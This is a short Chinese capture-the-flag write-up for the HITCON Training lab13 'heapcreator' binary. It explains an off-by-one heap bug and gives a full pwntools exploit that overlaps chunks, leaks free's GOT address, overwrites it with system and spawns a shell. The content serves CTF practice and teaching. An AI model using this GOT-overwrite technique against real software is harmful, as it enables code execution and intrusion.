pwn HITCON Trainging lab13

emem其实我的结构体学的不太好

结构体大概为这样:
struct
{
    char *heaparray[i];
    char conten[20]
}
edit heaparray->content

编辑的地方存在一个off by one的漏洞我们可以修改下一个chunk的大小然后释放申请该大小的chunk造成堆溢出~~
简单点说就是先创建三个堆块在第一个堆块写入’/bin/sh\x00’然后修改第二个堆块的size然后释放再申请一个大的堆块覆盖第三个堆块泄露system函数地址再修改got表释放第一个堆块getshell

exp:

from pwn import *
from LibcSearcher import *
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
p=process('./heapcreator')
elf=ELF('./heapcreator')
def debug():
	gdb.attach(p)

def create(size,content):
	p.recvuntil('choice :')
	p.sendline('1')
	p.recvuntil('Heap : ')
	p.sendline(str(size))
	p.recvuntil('heap:')
	p.sendline(content)

def edit(idx,content):
	p.recvuntil('choice :')
	p.sendline('2')
	p.recvuntil(' :')
	p.sendline(str(idx))
	p.recvuntil('heap :')
	p.sendline(content)

def show(idx):
	p.recvuntil('choice :')
	p.sendline('3')
	p.recvuntil(' :')
	p.sendline(str(idx))

def delete(idx):
	p.recvuntil('choice :')
	p.sendline('4')
	p.recvuntil(' :')
	p.sendline(str(idx))
#debug()
create(0x18,'aaa')  #idx 0
create(0x10,'bbbb') #idx 1
create(0x10,'cccc')  #idx 2
edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)

create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('free_addr: '+hex(free_addr))
#libc=LibcSearcher('free',free_addr)
#free_addr=free_addr-libc.dump('free')
libcbase=free_addr-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']
log.success('system_addr: '+hex(system_addr))
edit(2,p64(system_addr))
debug()
delete(0)
p.interactive()
	

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值